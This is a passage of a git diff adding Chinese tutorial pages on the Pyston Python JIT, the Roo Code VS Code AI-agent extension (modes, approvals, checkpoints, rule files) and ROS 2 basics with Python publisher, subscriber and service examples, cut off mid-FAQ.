└───────────────┬───────────────────────────┘ + │ + 冷代码 │ 热代码 + │ │ │ + ▼ │ ▼ + CPython 解释 │ Pyston JIT (DynASM) + 循环 dispatch │ │ + │ │ ├─ 类型特化 + guard + │ │ ├─ Inline Cache 槽位 + │ │ └─ 去优化回退 → 解释器 + │ │ + └───────┴──► 结果一致、语义与 CPython 对齐 +``` + +--- + +## 与 PyPy、CPython 3.12+ 的对比 + +| 维度 | Pyston | PyPy | CPython 3.11+ | +| --- | --- | --- | --- | +| 部署 | full 换解释器;lite 扩展模块 | 换 PyPy 可执行文件 | 官方默认 | +| JIT 技术 | DynASM 机器码 + IC | 追踪 JIT(meta-tracing) | 3.12 实验性 copy-and-patch JIT | +| C 扩展 | full 需重编译;lite 兼容 wheel | 历史兼容性问题较多 | 原生最好 | +| 典型加速 | lite +10~28%;full 更高 | 部分 CPU 密集极高 | 基线,持续官方优化 | +| 上游路线 | 部分优化已提交 CPython;JIT 拟 upstream | 独立生态 | PEP 523 / 3.12 JIT 演进 | + +2026 年 CPython 社区也在讨论更强 JIT API(如 hybrid JIT 提案)。Pyston 团队长期目标是:**让更多优化进入官方 CPython**,Pyston-lite 服务「卡在旧版本」的用户。 + +--- + +## 限制与注意事项 + +1. **API 兼容 ≠ ABI 兼容(Pyston-full)**:C 扩展要能跑需针对 Pyston 重编;`pip install` 的 manylinux wheel 可能不直接可用 +2. **调试特性**:full 版为性能可能关闭部分调试能力;疑难 bug 可切回 CPython 对比 +3. **构建成本**:从源码编 Pyston-full 耗时长(历史原因含 LLVM 等步骤);优先用官方预编译包 +4. **版本跟随**:full 基于 3.8;lite 支持 3.7–3.10,与团队 Python 版本策略要对齐 +5. **不要指望魔法**:纯 Python 数值循环能提速;调用 NumPy、requests 等 C 扩展主导的程序,整体提升可能只有几个百分点 + +--- + +## 何时值得尝试 + +**适合评估 Pyston 的信号**: + +- 服务 CPU 剖析显示时间落在 **纯 Python 字节码** 或 **属性分派** +- 已用 CPython 3.8–3.10,短期内不升级 +- 希望 **零代码改动** 验证加速,可先 `pip install pyston-lite-autoload` 做 A/B +- Dropbox 类场景:Python 后端规模大,**降机器成本** 比「换语言」现实 + +**不必强上的信号**: + +- 瓶颈在数据库、网络、GPU +- 已计划全面升级 **CPython 3.12+** 并依赖官方 JIT 演进 +- 极度依赖特定 C 扩展 wheel 且无法重编(此时 lite 更合适) + +--- + +## 学习路径建议 + +1. **读官方 README**:[github.com/pyston/pyston](https://github.com/pyston/pyston) — 弄清 full vs lite +2. **读博客「baseline jit and inline caches」** — 理解 IC 如何填槽、与 LLVM tier 的关系(v1 架构,概念仍有用) +3. **本地跑 pyperformance 子集** — 对比 `python` vs `pyston` / lite,建立直觉 +4. **对照 CPython 3.11 specializing interpreter 文档** — 理解「特化」已是主流方向,Pyston 是更激进一翼 +5. **关注 CPython JIT 上游** — PEP 523、3.12+ `/_jit` 实验,判断长期是否还需独立运行时 + +--- + +## 小结 + +Pyston 回答的是一个很务实的问题:**「我已经有大量 Python 代码和 CPython 生态,能不能不换语言就更快?」** + +它的答案链条是: + +1. **JIT** 消掉解释器逐条 dispatch 的开销 +2. **类型特化** 让热路径上的 `+`、`*`、`call` 走窄化快速通道 +3. **Inline cache** 把重复的「查字典、猜类型」变成指令流里的直达便签 + +从 Dropbox 服务器成本出发,到今天的 **pip 一键 lite**,Pyston 一直在降低「试用加速」的门槛。它未必在所有基准上击败 PyPy,也未必在所有场景击败未来的官方 JIT,但作为 **CPython 兼容的 JIT 加速器**,仍是理解「动态语言如何在不牺牲生态的前提下提速」的绝佳案例。 + +--- + +## 参考链接 + +- [Pyston GitHub 仓库](https://github.com/pyston/pyston) +- [Announcing Pyston-lite(2022)](https://blog.pyston.org/2022/06/08/announcing-pyston-lite-our-python-jit-as-an-extension-module/) +- [Baseline JIT and Inline Caches(2016,技术深度文)](https://blog.pyston.org/2016/06/30/baseline-jit-and-inline-caches/) +- [Dropbox 介绍 Pyston(2014)](https://dropbox.tech/infrastructure/introducing-pyston-an-upcoming-jit-based-python-implementation) +- [Our techniques(Wiki)](https://github.com/pyston/pyston/wiki/Our-techniques) diff --git a/src/content/docs/projects/roo-code.md b/src/content/docs/projects/roo-code.md new file mode 100644 index 000000000..4d3a01d57 --- /dev/null +++ b/src/content/docs/projects/roo-code.md @@ -0,0 +1,320 @@ +--- +title: Roo Code — 多模式 VS Code AI 助手 +来源: https://github.com/RooCodeInc/Roo-Code +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:编辑器里的「可换岗开发团队」 + +想象你管理一个小型软件团队,但成员都坐在同一张工位前——只是**戴不同工牌**。写功能时换「码农」;画架构时换「架构师」;查资料时换「文档员」;线上报错时换「排障工程师」。每个人**权限不同**:架构师可以读全仓库、写设计文档,但不能乱改业务代码;码农可以改文件、跑终端;文档员 mostly 只读。你作为 Tech Lead,每步仍可点「批准 / 拒绝」,熟悉后也可以对固定操作开「自动批准」,让团队连续工作几小时。 + +**Roo Code 就是 [[vscode]] 侧边栏里的这支团队。** 它是开源(Apache 2.0)的 AI 编码代理扩展,源自 [[cline]] 生态的演进路线,在 GitHub 上以 [RooCodeInc/Roo-Code](https://github.com/RooCodeInc/Roo-Code) 维护(2026 年 5 月官方扩展已宣布停更并归档,社区 fork 如 [ZooCode](https://github.com/Zoo-Code-Org/Zoo-Code/) 可继续跟进;学习其设计仍对理解 VS Code agent 范式极有价值)。核心卖点不是「又一个聊天框」,而是 **Modes(多模式角色)+ 工具链 + 模型无关(BYOK)**:同一套 agent 引擎,通过模式切换系统提示、可用工具与文件编辑边界,让 LLM 在长任务里少跑偏。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:单一 Chat 角色「什么都想干」 + +通用助手容易在「先写设计文档」和「直接改十三个文件」之间摇摆。Roo 用 **Code / Architect / Ask / Debug** 等内置模式,以及可扩展的 **Custom Modes**,把「当前能用什么工具、能改哪些路径」写死在配置里,相当于给模型换工牌。 + +### 痛点 2:被一家模型厂商锁死 + +Roo **本身不是模型**;它通过 `buildApiHandler()` 对接 OpenAI、Anthropic、OpenRouter、Google Gemini、本地 Ollama 等二十余家 Provider。官方文档强调 **model agnosticism**:「最好的模型」每两周变一次,扩展层不应绑死。 + +### 痛点 3:AI 改仓库缺审批与回滚 + +与 [[cline]] 类似,Roo 默认 **human-in-the-loop**:`write_to_file`、`execute_command`、MCP 调用等需批准。任务执行中维护 **Checkpoints(检查点)**,可逐步回退 agent 引入的变更;并支持 `.rooignore` 控制哪些路径不可碰、哪些不进 checkpoint。 + +### 痛点 4:团队规范难注入 agent + +通过 `.roo/rules/`、`.roo/rules-{modeSlug}/`、`.roorules`、以及兼容的 `AGENTS.md`,把编码规范、测试要求、目录约定写进**系统提示**,且可按模式分层加载——新人 clone 仓库即继承同一套 agent 行为。 + +--- + +## 核心概念拆解 + +### 1. 三层架构(Extension Host / Webview / External) + +| 层 | 职责 | 典型组件 | +|----|------|----------| +| **Extension Host** | 跑在 VS Code 扩展进程:任务编排、工具执行、Provider 调用 | `ClineProvider`、`Task`、`CodeIndexManager` | +| **Webview UI** | 侧边栏 React 界面:聊天、设置、模式管理 | `ExtensionStateContext`、`SettingsView` | +| **External Services** | LLM API、MCP Server、可选云端认证/索引 | OpenRouter、Qdrant 语义索引等 | + +Extension 与 Webview 通过 VS Code **`postMessage`** 双向通信;状态用 `clineMessagesSeq` 等序列号避免竞态覆盖。 + +### 2. Task(任务)与 Agent Loop + +一次用户请求对应一个 **Task** 实例(`Task.ts`): + +1. 初始化模式、API Handler、`.rooignore` 控制器、Checkpoint 服务、终端注册表 +2. 进入 `recursivelyMakeClineRequests()` 循环:组上下文 → 调 LLM → 解析 tool call → 执行工具 → 把结果塞回对话 → 直到完成或用户 abort +3. 维护两路消息:`clineMessages`(UI 展示)与 `apiConversationHistory`(发给模型的精简历史,省 token) + +若 agent 连续犯同类错误超过 `consecutiveMistakeLimit`,会暂停并请你介入——防止无限重试同一错误命令。 + +### 3. Modes System(模式系统) + +每个模式是 `ModeConfig`:**slug、名称、roleDefinition、customInstructions、groups(工具组)、可选 fileRegex**。 + +| 内置模式 | 典型用途 | 行为倾向 | +|----------|----------|----------| +| **Code** | 日常编码、改文件、跑命令 | 全工具组,偏实现 | +| **Architect** | 系统设计、迁移方案、规格 | 偏规划,常限制直接改业务代码 | +| **Ask** | 解释代码、查文档、问答 | 只读为主 | +| **Debug** | 加日志、复现、定位根因 | 偏诊断与最小改动 | +| **Custom** | 团队自定义(如 Docs Writer、Security Review) | YAML 定义,可导入导出 | + +工具可见性由 `groups` 映射到 `TOOL_GROUPS`(read、edit、command、mcp、browser 等),再经 `buildNativeToolsArray()` 过滤后交给模型。 + +**加载优先级**(后者覆盖同名 slug):项目 `.roo/modes/` → 根目录 `.roomodes` → 全局 `~/.roo/modes/` → 全局设置。 + +### 4. Tool Architecture(工具架构) + +Roo 把自然语言落到环境动作,来源包括: + +- **Native Tools**:`read_file`、`write_to_file`、`execute_command`、`search_files` 等 +- **MCP Tools**:Model Context Protocol 服务器暴露的工具(命名如 `mcp--server--tool`) +- **Custom Tools**:工作区 `.roo/tools` 等目录发现的用户工具 + +执行前走 `askApproval`;写文件/跑命令会检查 **`.rooignore`**(类似 `.gitignore` 的 agent 黑名单)。 + +### 5. Provider Profiles(模型配置) + +在设置里建 **Profile**:选 Provider、模型 ID、API Key、温度、max tokens 等。可为不同模式绑定不同 Profile(例如 Architect 用强推理模型,Code 用更快模型)。动态 Provider(OpenRouter 等)通过 `modelCache` 拉取模型元数据。 + +### 6. Custom Instructions(规则注入) + +规则加载顺序(概念上,越具体越靠前): + +1. 模式目录:`.roo/rules-{modeSlug}/`(及 `~/.roo/rules-{modeSlug}/`) +2. 回退文件:`.roorules-{modeSlug}` +3. `.rooignore` 相关说明 +4. `AGENTS.md` / `AGENT.md`(可通过 `roo-cline.useAgentRules` 关闭) +5. 通用:`.roo/rules/`、`.roorules` + +目录内多文件按**文件名字母序**拼进 system prompt。 + +### 7. Checkpoints 与 Cleanup + +任务编辑过程中可打 checkpoint,支持在聊天里逐步回退。存储可配置保留策略(如 7 天、每任务最多 50 个、全局 5GB 上限),并尊重 `.rooignore` 排除二进制/敏感路径。 + +### 8. Code Index(可选语义搜索) + +**CodeIndexManager** 可对仓库做 embedding + 向量库(如 Qdrant),让 agent 用语义搜索定位相关代码,而不只依赖文件名 grep——大 monorepo 里尤其有用。 + +### 9. Auto-Approve 与 Orchestrator 思维 + +新手应保留逐步批准。熟悉后可对只读、固定测试命令等开 **Auto-Approve**,让 agent 长时自治。官方文档还提到 **Orchestrator** 方向:复杂项目由协调角色在多个 Mode 之间分派子任务(适合「整模块迁移」类野心任务)。 + +### 10. CLI 与扩展双形态 + +除 VS Code 扩展外,仓库含 **独立 CLI**:支持 headless 任务、会话恢复、NDJSON stdin 等,便于 CI 或脚本化;但零基础路径仍是 **Marketplace 装扩展 → 配 Provider → 侧边栏开 Task**。 + +### 11. 与 Cline、Aider、Cursor 的定位 + +| 维度 | Roo Code | [[cline]] | [[aider]] | +|------|----------|-----------|-----------| +| 运行位置 | VS Code 侧边栏 | VS Code 侧边栏 | 终端 | +| 角色切换 | **多 Mode 一等公民** | Plan / Act 双模式 | `/architect` 等 chat mode | +| 模型 | BYOK,Profile 丰富 | BYOK | BYOK | +| 规则 | `.roo/rules*`、`.roorules` | `.clinerules/` | `.aider.conf.yml` | +| lineage | 自 Cline 分支演进 | 上游 agent 扩展 | 独立 Python CLI | + +三者可并存:Roo/Cline 管 IDE 内多步 agent,Aider 管 Git 原子提交。 + +### 12. 停更说明(2026-05) + +官方于 2026 年 5 月 15 日关闭扩展运营并归档主仓库;文档站注明可转向 **ZooCode**(社区 fork)或回到 **Cline**。本笔记以 Roo Code 架构为学习对象;若你要在生产环境长期依赖,请确认安装源(Marketplace 条目 `RooVeterinaryInc.roo-cline`)与社区接手版本。 + +--- + +## 零基础上手路径 + +### 第一步:安装与 Provider + +1. 在 VS Code / Cursor / VSCodium 扩展市场搜索 **Roo Code**(或社区接手 fork)并安装。 +2. 打开侧边栏 Roo 面板 → **Settings / Providers** → 新建 Profile,填入 API Key(如 Anthropic、OpenRouter)。 +3. 选默认模型,发送一条简单消息验证连通:`Explain what this repo's package.json scripts do`。 + +### 第二步:按任务选 Mode + +- 问概念、读代码 → **Ask** +- 写功能、改 bug → **Code** +- 设计 API / 模块边界 → **Architect** +- 线上报错、测试红 → **Debug** + +切换模式后,同一仓库上下文保留,但**可用工具与系统提示**会变。 + +### 第三步:加项目规则 + +在仓库根建 `.roo/rules-code/01-testing.md`(Code 模式专用),写入测试与提交约定;下次 Task 自动注入。 + +### 第四步:MCP 扩展能力 + +在设置 **MCP Servers** 添加 stdio 或 HTTP 服务(如 GitHub、数据库、浏览器)。Mode 需启用 **mcp** 工具组后,模型才能调用。 + +### 第五步:熟悉批准与 Checkpoint + +前几次任务**不要**全开 Auto-Approve;在 diff 视图里看清每处改动。大改前确认 checkpoint 可用,改坏了从时间线回退再换提示。 + +--- + +## 代码示例 + +### 示例 1:项目级 Custom Mode(`.roo/modes/docs-writer.yaml`) + +为「只写文档、不改 src」定义专用模式,放在项目 `.roo/modes/`(优先级最高): + +```yaml +# .roo/modes/docs-writer.yaml +slug: docs-writer +name: Docs Writer +description: 维护 README、docs/ 与 changelog,不修改生产代码 + +roleDefinition: | + 你是技术文档工程师。输出清晰、可扫描的 Markdown; + 引用代码时使用仓库内真实路径;不臆造 API。 + +customInstructions: | + - 遵循 docs/ 下现有标题层级与术语表 + - 修改后列出「读者应验证的链接/命令」 + - 禁止修改 src/、tests/ 下任何文件 + +groups: + - read + - edit + - command + +# 仅允许编辑文档相关路径(具体语法以当前版本 schema 为准) +fileRegex: "^(docs/|README\\.md|CHANGELOG\\.md).*" +``` + +在 UI **Modes** 面板导入或刷新后,选 **Docs Writer** 发任务:`根据 src/api/auth.ts 更新 docs/api/auth.md,并补全 curl 示例。` + +配合规则目录 `.roo/rules-docs-writer/01-style.md`,可进一步规定中英文、代码块语言标签等。 + +### 示例 2:模式规则 + 全局 `.roorules` + MCP 配置片段 + +**模式专用规则**(`.roo/rules-debug/01-repro.md`): + +```markdown +# Debug 模式复现约定 + +1. 先读报错栈与相关测试,再改代码;禁止未读就重写模块。 +2. 加日志时使用项目已有 logger(如 `import { logger } from '@/lib/logger'`),禁止 `console.log` 长期残留。 +3. 每轮修复后给出:根因假设、验证命令、若仍失败时的下一步。 +``` + +**仓库级回退文件**(无 `.roo/rules/` 目录时可用根目录 `.roorules`): + +```markdown +# Global agent rules + +- package manager: pnpm(勿生成 npm/yarn 命令) +- 测试: `pnpm test`;单测: `pnpm test --filter ` +- 新 API 必须同步 OpenAPI 或 docs/api/ +``` + +**MCP Server 片段**(设置 JSON 概念示例,路径因版本而异): + +```json +{ + "mcpServers": { + "github": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-github"], + "env": { + "GITHUB_PERSONAL_ACCESS_TOKEN": "${env:GITHUB_TOKEN}" + } + } + } +} +``` + +在 **Debug** 或 **Code** 模式启用 `mcp` 组后,可让 agent「查 PR diff / issue 讨论」辅助排障——仍建议在 Settings 里对该 server 的写操作保持手动批准。 + +--- + +## 常用工作流(模式组合) + +### 流程 A:新功能(Architect → Code → Debug) + +1. **Architect**:`设计用户通知模块:事件源、队列、失败重试;输出 docs/specs/notifications.md` +2. 审阅 spec,切 **Code**:`按 spec 实现 MVP,补单元测试` +3. 测试失败切 **Debug**:`根据 jest 输出修 race condition,最小 diff` + +### 流程 B:只问不改(Ask) + +`src/core/task/Task.ts 里 checkpoint 和 abort 的调用关系是什么?用列表说明,不要改文件。` + +### 流程 C:导出 Mode 给另一仓库 + +Modes 面板 **Export Mode** → 生成含 `rules-{slug}` 的 YAML → 在另一项目 **Import(Project level)** → 得到相同 `.roo/rules-*` 结构。 + +--- + +## 配置与目录速查 + +| 路径 | 作用 | +|------|------| +| `.roo/modes/*.yaml` | 项目自定义模式 | +| `.roomodes` | 单文件模式定义(YAML/JSON) | +| `.roo/rules/` | 全局(所有模式)规则目录 | +| `.roo/rules-{slug}/` | 某模式专用规则 | +| `.roorules` / `.roorules-{slug}` | 单文件规则回退 | +| `.rooignore` | agent 不可访问/不可 checkpoint 的路径 | +| `.roo/tools/` | 自定义工具发现目录 | +| `AGENTS.md` | 与 Cursor/Cline 生态兼容的 agent 说明 | + +VS Code 设置示例:`"roo-cline.useAgentRules": true`(默认加载 AGENTS.md)。 + +--- + +## 心智模型:官方「成功用法」四条 + +1. **Leverage model agnosticism**:为不同任务试不同模型,别绑死一家。 +2. **Don't skimp on tokens**:强模型 + 足够上下文通常比省 token 更省开发者时间。 +3. **Trust roles**:用 Mode 约束边界,比在长 prompt 里反复叮嘱「不要改 xxx」更稳。 +4. **Be ambitious**:批准流程熟悉后逐步提高 Auto-Approve 范围,把大块 refactor 交给 agent 分步完成。 + +--- + +## 常见问题 + +**和 Cline 是什么关系?** +Roo Code 与 [[cline]] 同源分支演进,架构相似(Task、MCP、侧边栏 agent),Roo 更强调 **多 Mode 产品化** 与 Profile/规则目录体系。学 Roo 等于学「Cline 系 agent」的典型实现。 + +**扩展停更后还能学吗?** +能。仓库 archived 但代码与文档仍可读;社区 fork(ZooCode)延续功能。本笔记侧重**可迁移的概念**(Mode、Task、Tool、MCP、规则注入)。 + +**Auto-Approve 全开安全吗?** +不建议一开始全开。应对 `execute_command`、MCP 写操作、生产配置路径保持批准;只读搜索可对信任仓库放宽。 + +**规则太多会爆 context 吗?** +会。应用 `.roo/rules-{slug}/` 做**按模式裁剪**,避免把所有规范塞进每个 Task;大段文档可放 `docs/` 让 agent 用 `read_file` 按需读取。 + +**能否和 [[aider]] 一起用?** +可以。Roo 在 IDE 里做多步探索与 MCP;Aider 在终端里做 Git 中心化编辑与自动 commit。注意别让两者同时改同一文件。 + +--- + +## 延伸资源 + +- 官方仓库:[RooCodeInc/Roo-Code](https://github.com/RooCodeInc/Roo-Code)(Apache-2.0,已归档) +- 文档站:[Roo Code Docs](https://roocodeinc.github.io/Roo-Code/)(含 Modes、Custom Instructions、Provider 指南) +- Marketplace:[Roo Code 扩展页](https://marketplace.visualstudio.com/items?itemName=RooVeterinaryInc.roo-cline) +- 社区延续:[ZooCode](https://github.com/Zoo-Code-Org/Zoo-Code/) +- 上游对照:[[cline]] +- 终端结对:[[aider]] +- 编辑器基座:[[vscode]] + +--- + +## 小结 + +Roo Code 把 VS Code 里的 AI 助手做成**可换岗的开发团队**:**Modes** 定义角色与工具边界,**Task** 驱动多轮 LLM + 工具循环,**`.roo/` 规则体系** 把团队规范写进仓库,**MCP** 接外部世界,**Checkpoints + 批准流** 控制风险。即使官方扩展已停更,其「模式化 agent + 模型无关 + 深度 IDE 集成」仍是零基础理解现代 coding agent 的绝佳样本——下一步可对照 [[cline]] 读 Task 源码,或用 ZooCode 继续在日常开发里实践。 diff --git a/src/content/docs/projects/ros2.md b/src/content/docs/projects/ros2.md new file mode 100644 index 000000000..432d52f84 --- /dev/null +++ b/src/content/docs/projects/ros2.md @@ -0,0 +1,345 @@ +--- +title: ROS 2 — 机器人操作系统零基础入门 +来源: 'https://github.com/ros2/ros2' +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 日常类比:一座分工明确的智能工厂 + +想象你在运营一家小型智能工厂,而不是一个人包办所有事。 + +- **节点(Node)** 像不同工位的工人:有人管摄像头、有人管轮子、有人管路径规划。每个工人只做一类活,但都能通过对讲机协作。 +- **话题(Topic)** 像厂内广播频道:`/camera/image` 频道持续播报画面,`/cmd_vel` 频道播报「前进/转弯」指令。谁想听就订阅,谁想说就发布,不必点对点登记电话号码。 +- **服务(Service)** 像前台的一次性问答:「现在电池剩多少?」问一次答一次,适合短平快的查询或计算。 +- **动作(Action)** 像下达一项带进度条的任务:「走到仓库 B 区」,执行过程中可以汇报「已完成 40%」,也可以中途取消。 +- **参数(Parameter)** 像每台设备面板上的旋钮:最大速度、传感器频率,运行中可改,不必重启整个工厂。 + +**ROS 2(Robot Operating System 2)** 就是这套「工厂协作规范 + 工具箱」。它本身不是某个机器人产品,而是一组库、消息格式、启动工具和可视化界面,让不同语言(C++、Python 等)写的模块能即插即用。官方仓库:[ros2/ros2](https://github.com/ros2/ros2);入门教程见 [ROS 2 Documentation](https://docs.ros.org/en/humble/Tutorials.html)。 + +和 ROS 1 相比,ROS 2 默认基于 **DDS(Data Distribution Service)** 中间件,更适合多机、实时性、QoS(服务质量)配置,也是现代 Autoware、Nav2、MoveIt 2 等栈的默认底座。 + +--- + +## 解决什么问题 + +### 痛点 1:机器人软件是「一堆进程」,缺少统一通信层 + +摄像头驱动、定位、规划、底盘控制往往来自不同团队、不同语言。若没有标准,就要手写 socket、自己定义二进制协议。ROS 2 提供 **rcl(ROS Client Library)** 及 **rclcpp / rclpy**,统一节点生命周期、消息类型和发现机制。 + +### 痛点 2:发布/订阅、请求/响应、长任务需要不同语义 + +传感器数据是**连续流** → 用 Topic;查地图元数据是**一问一答** → 用 Service;导航到目标点要**进度 + 可取消** → 用 Action。混用语义会导致阻塞、难以抢占,官方 [Topics vs Services vs Actions](https://docs.ros.org/en/humble/How-To-Guides/Topics-Services-Actions.html) 指南对此有明确划分。 + +### 痛点 3:构建、依赖、部署碎片化 + +ROS 2 用 **colcon** 构建工作空间,用 **ament** 作为构建系统,用 **rosdep** 拉系统依赖。`install/setup.bash` 一次性把本工作空间里的包加入 `PATH` 和 `PYTHONPATH`,避免「能编译不能运行」。 + +--- + +## 核心概念 + +### 1. 工作空间(Workspace)与包(Package) + +典型目录结构: + +```text +ros2_ws/ +├── src/ # 你的源码包 +├── build/ # colcon 中间产物 +├── install/ # 安装后的可执行文件与 share 资源 +└── log/ # 构建日志 +``` + +创建并编译: + +```bash +mkdir -p ~/ros2_ws/src +cd ~/ros2_ws +# 先 source 已安装的 ROS 2(underlay) +source /opt/ros/jazzy/setup.bash # 发行版名按本机安装为准 +colcon build --symlink-install +source install/setup.bash # overlay:优先使用本工作空间 +``` + +用 `ros2 pkg create` 生成包骨架;Python 包常用 `--build-type ament_python`,C++ 用 `ament_cmake`。 + +### 2. 计算图(Computation Graph) + +ROS 2 运行时是一张**有向图**: + +| 概念 | 含义 | 类比 | +|------|------|------| +| Node | 进程内一个可通信实体 | 工位工人 | +| Topic | 命名消息通道,多对多 | 广播频道 | +| Message | `.msg` 定义的结构化数据 | 广播里的一句话格式 | +| Publisher / Subscriber | 发/收 Topic 消息 | 播音员 / 听众 | +| Service / Client | 同步 RPC | 前台问答 | +| Action Server / Client | 带反馈与取消的长任务 | 带进度条的项目 | +| Parameter | 节点级键值配置 | 设备旋钮 | +| TF2 | 坐标系变换树 | 工厂里「相对位置关系表」 | + +用 `ros2 node list`、`ros2 topic list`、`ros2 topic echo /topic` 做命令行自省;`rqt_graph` 可视化谁连谁。 + +### 3. 中间件与 QoS + +ROS 2 的 **RMW(ROS Middleware)** 把 Topic/Service 映射到 DDS。发布者与订阅者除 **话题名、消息类型** 一致外,**QoS 策略**也要兼容(如 reliability、history depth)。Publisher 构造函数里的队列深度 `10` 就是常见 QoS 设置:订阅者处理不过来时,最多缓存 10 条。 + +### 4. Launch 与组合 + +单节点可以用 `ros2 run pkg executable` 启动;多节点、多参数、命名空间、重映射应写 **Launch 文件**(Python 为主): + +```python +# launch/talk_listen.launch.py(片段) +from launch import LaunchDescription +from launch_ros.actions import Node + +def generate_launch_description(): + return LaunchDescription([ + Node(package='demo_nodes_cpp', executable='talker', name='talker'), + Node(package='demo_nodes_cpp', executable='listener', name='listener'), + ]) +``` + +`ros2 launch my_pkg talk_listen.launch.py` 一次拉起整条流水线。 + +### 5. 常用 CLI 速查 + +```bash +ros2 node list +ros2 topic list +ros2 topic info /topic +ros2 topic pub /topic std_msgs/msg/String "{data: 'hello'}" --once +ros2 service list +ros2 param list +ros2 bag record /topic # 录包回放,调试神器 +``` + +--- + +## 代码示例 1:Python 发布者与订阅者(Talker / Listener) + +以下改编自官方教程 [Writing a simple publisher and subscriber (Python)](https://docs.ros.org/en/humble/Tutorials/Beginner-Client-Libraries/Writing-A-Simple-Py-Publisher-And-Subscriber.html)。假设包名 `py_pubsub`,依赖 `rclpy`、`std_msgs`。 + +**publisher_member_function.py** — 每 0.5 秒往 `topic` 发一条字符串: + +```python +import rclpy +from rclpy.node import Node +from std_msgs.msg import String + + +class MinimalPublisher(Node): + def __init__(self): + super().__init__('minimal_publisher') + self.publisher_ = self.create_publisher(String, 'topic', 10) + self.timer = self.create_timer(0.5, self.timer_callback) + self.i = 0 + + def timer_callback(self): + msg = String() + msg.data = f'Hello World: {self.i}' + self.publisher_.publish(msg) + self.get_logger().info(f'Publishing: "{msg.data}"') + self.i += 1 + + +def main(args=None): + rclpy.init(args=args) + node = MinimalPublisher() + try: + rclpy.spin(node) + except KeyboardInterrupt: + pass + node.destroy_node() + rclpy.shutdown() + + +if __name__ == '__main__': + main() +``` + +**subscriber_member_function.py** — 订阅同一话题并打印: + +```python +import rclpy +from rclpy.node import Node +from std_msgs.msg import String + + +class MinimalSubscriber(Node): + def __init__(self): + super().__init__('minimal_subscriber') + self.subscription = self.create_subscription( + String, 'topic', self.listener_callback, 10) + + def listener_callback(self, msg): + self.get_logger().info(f'I heard: "{msg.data}"') + + +def main(args=None): + rclpy.init(args=args) + node = MinimalSubscriber() + try: + rclpy.spin(node) + except KeyboardInterrupt: + pass + node.destroy_node() + rclpy.shutdown() + + +if __name__ == '__main__': + main() +``` + +在 `setup.py` 的 `entry_points['console_scripts']` 中注册 `talker`、`listener` 两个入口,然后: + +```bash +colcon build --packages-select py_pubsub +source install/setup.bash +# 终端 1 +ros2 run py_pubsub talker +# 终端 2 +ros2 run py_pubsub listener +``` + +**执行路径**:`rclpy.init` → 创建 Node → `create_publisher` / `create_subscription` → `rclpy.spin` 进入事件循环(处理 timer 回调与订阅回调)→ 退出时 `destroy_node` + `shutdown`。 + +--- + +## 代码示例 2:Python 服务与客户端(短请求) + +Service 适合「算一下、查一下、设一下」类操作。下面演示自定义服务类型 `AddTwoInts`(实际项目里用 `ros2 interface show example_interfaces/srv/AddTwoInts` 等现成类型即可)。 + +**add_two_ints_server.py**: + +```python +import rclpy +from rclpy.node import Node +from example_interfaces.srv import AddTwoInts + + +class AddTwoIntsServer(Node): + def __init__(self): + super().__init__('add_two_ints_server') + self.srv = self.create_service( + AddTwoInts, 'add_two_ints', self.add_callback) + + def add_callback(self, request, response): + response.sum = request.a + request.b + self.get_logger().info( + f'Incoming: a={request.a}, b={request.b} -> sum={response.sum}') + return response + + +def main(): + rclpy.init() + node = AddTwoIntsServer() + rclpy.spin(node) + rclpy.shutdown() + + +if __name__ == '__main__': + main() +``` + +**add_two_ints_client.py**: + +```python +import rclpy +from rclpy.node import Node +from example_interfaces.srv import AddTwoInts + + +class AddTwoIntsClient(Node): + def __init__(self): + super().__init__('add_two_ints_client') + self.client = self.create_client(AddTwoInts, 'add_two_ints') + while not self.client.wait_for_service(timeout_sec=1.0): + self.get_logger().info('service not available, waiting...') + + def send_request(self, a, b): + req = AddTwoInts.Request() + req.a = a + req.b = b + future = self.client.call_async(req) + rclpy.spin_until_future_complete(self, future) + return future.result() + + +def main(): + rclpy.init() + node = AddTwoIntsClient() + result = node.send_request(3, 7) + node.get_logger().info(f'Result: {result.sum}') + node.destroy_node() + rclpy.shutdown() + + +if __name__ == '__main__': + main() +``` + +CLI 快速验证(无需写代码): + +```bash +ros2 service call /add_two_ints example_interfaces/srv/AddTwoInts "{a: 3, b: 7}" +``` + +--- + +## 安装与第一个小时路线 + +1. **选发行版**:Ubuntu 上常用 Humble(LTS)、Jazzy、Rolling(滚动)。新手优先 LTS + 对应文档版本。 +2. **安装**:按 [官方 Installation](https://docs.ros.org/en/humble/Installation.html) 装 desktop 或 bare;WSL2 / Docker 也可,但 USB 相机与实时控制需额外配置。 +3. **验证**:`ros2 run demo_nodes_cpp talker` 与 `listener` 应能看到字符串对传。 +4. **学路径**:Colcon 工作空间 → Pub/Sub → Service → 自定义 `.msg`/`.srv` → Parameters → Launch → TF2 / URDF → Nav2 或 MoveIt 2(按机器人方向选)。 + +--- + +## Topic / Service / Action 怎么选 + +| 场景 | 推荐 | 原因 | +|------|------|------| +| 激光雷达、IMU、图像流 | Topic | 连续、多订阅者 | +| 查询版本、触发单次标定 | Service | 短、同步 | +| 导航到点、机械臂抓取 | Action | 长时、要反馈与取消 | +| 最大速度、帧率配置 | Parameter | 键值、可动态改 | + +切忌用 Service 跑长时间阻塞任务(会占死客户端线程);长任务应迁移到 Action,并正确实现 **preempt(抢占)**。 + +--- + +## 生态与延伸 + +- **仿真**:Gazebo / Isaac Sim + ROS 2 桥接,先在仿真里调通再上车。 +- **导航**:Nav2(costmap、planner、controller、behavior tree)。 +- **机械臂**:MoveIt 2(规划场景、碰撞检测)。 +- **可视化**:RViz2 看 TF、点云、路径;Foxglove 看 rosbag。 +- **与 ROS 1 互通**:`ros1_bridge`(维护模式,新项目尽量原生 ROS 2)。 + +ROS 2 的学习曲线在「工具链 + 分布式概念」上,不在某一门语言语法上。把 **Node + Topic + colcon + launch** 四条线跑通,再读任一具体栈(Nav2、MoveIt、micro-ROS)会轻松很多。 + +--- + +## 常见问题 + +**Q:`ros2 run` 找不到包?** +先 `source /opt/ros//setup.bash`,再 `source ~/ros2_ws/install/setup.bash`;确认 `colcon build` 成功且包名、executable 与 `setup.py` entry_points 一致。 + +**Q:Publisher 有输出,Subscriber 收不到?** +检查话题名、消息类型、QoS 是否匹配;`ros2 topic info /topic -v` 看两端 QoS。 + +**Q:ROS 2 和「会写嵌入式 